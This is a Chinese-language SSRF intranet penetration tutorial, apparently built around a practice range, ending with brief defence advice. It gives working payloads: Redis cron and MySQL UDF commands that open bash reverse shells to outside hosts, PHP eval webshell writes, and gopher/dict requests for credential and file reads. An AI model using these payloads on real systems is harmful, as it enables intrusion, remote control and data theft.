手把手带你用 SSRF 打穿内网
字数 1713 2025-08-10 00:24:01
SSRF 内网渗透实战指南
1. SSRF 基础与漏洞识别
1.1 SSRF 漏洞原理
SSRF (Server-Side Request Forgery) 服务端请求伪造,是一种攻击者能够从服务器端发起任意请求的安全漏洞。攻击者可以利用存在漏洞的服务器作为代理,扫描或攻击内网资源。
1.2 漏洞识别方法
- 测试外网URL请求:尝试请求
http://www.baidu.com/robots.txt - 测试内网URL请求:尝试请求
http://127.0.0.1/ - 文件协议测试:尝试
file:///etc/passwd
2. 信息收集与内网探测
2.1 获取本地信息
- 读取
/etc/passwd获取用户信息 - 读取
/etc/hosts获取内网IP地址 - 读取
/proc/net/arp或/etc/network/interfaces获取网络配置
2.2 内网端口扫描
使用 DICT 协议探测内网端口开放情况:
dict://172.72.23.21:80/
dict://172.72.23.21:3306/
3. 内网攻击技术详解
3.1 代码注入攻击
目标特征:存在 webshell (如 shell.php?cmd=whoami)
攻击方法:
- 使用 SSRF 直接发起 GET 请求执行命令
- 注意空格需要编码为
%20(浏览器) 或%2520(BurpSuite)
3.2 SQL 注入攻击
目标特征:存在联合查询注入漏洞
攻击方法:
- 使用 SSRF 发起 SQL 注入请求
- 写入 webshell:
SELECT 1,2,3 INTO DUMPFILE '/var/www/html/shell.php'
3.3 命令执行攻击
目标特征:存在 POST 型命令执行漏洞
攻击方法:
- 使用 gopher 协议构造 POST 请求
- 数据包需要:
- 删除
Accept-Encoding头 - 进行两次 URL 编码
- 删除
3.4 XXE 攻击
目标特征:存在 XML 外部实体注入
攻击方法:
- 构造 XXE Payload
- 使用 gopher 协议发送 POST 请求
3.5 Tomcat CVE-2017-12615
目标特征:存在 Tomcat PUT 方法任意文件写入漏洞
攻击方法:
- 准备 JSP webshell
- 使用 PUT 方法上传文件
- 访问上传的 webshell 执行命令
4. Redis 服务攻击
4.1 未授权访问 Redis
攻击步骤:
- 清空 key:
dict://172.72.23.27:6379/flushall - 设置目录:
dict://172.72.23.27:6379/config set dir /var/spool/cron/ - 设置文件名:
dict://172.72.23.27:6379/config set dbfilename root - 写入定时任务:
dict://172.72.23.27:6379/set x "\n* * * * * /bin/bash -i >%26 /dev/tcp/x.x.x.x/2333 0>%261\n"
- 保存:
dict://172.72.23.27:6379/save
4.2 有密码认证的 Redis
攻击步骤:
- 通过 LFI 漏洞读取
/etc/redis.conf获取密码 - 使用 gopher 协议构造认证请求
- 写入 webshell:
auth P@ssw0rd
flushall
config set dir /var/www/html
config set dbfilename shell.php
set x "\n<?php eval($_GET[1]);?>\n"
save
5. MySQL 服务攻击
5.1 未授权访问 MySQL
攻击步骤:
- 使用 tcpdump 捕获 MySQL 协议数据包
- 将数据包转换为 gopher URL
- 通过 SSRF 发送请求
5.2 UDF 提权
- 查找插件目录:
show variables like '%plugin%'; - 写入 UDF 动态链接库:
SELECT 0x7f454c460... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so'
- 创建函数:
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';
- 执行系统命令:
select sys_eval('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMTEuNTUuMi8yMzMzIDA+JjE=|base64 -d|bash -i');
6. 防御建议
- 对用户输入进行严格过滤和验证
- 禁用不需要的协议 (如 file://, gopher://, dict://)
- 设置网络访问白名单
- 及时更新和修补系统漏洞
- 为服务设置强密码认证
7. 工具与资源
- BurpSuite:用于抓包和构造请求
- Gopherus:生成 gopher 攻击 payload
- tcpdump/Wireshark:捕获和分析网络流量
- 靶场源码:https://github.com/sqlsec/ssrf-vuls
通过以上技术,可以全面利用 SSRF 漏洞对内网进行渗透测试,获取内网敏感信息和系统权限。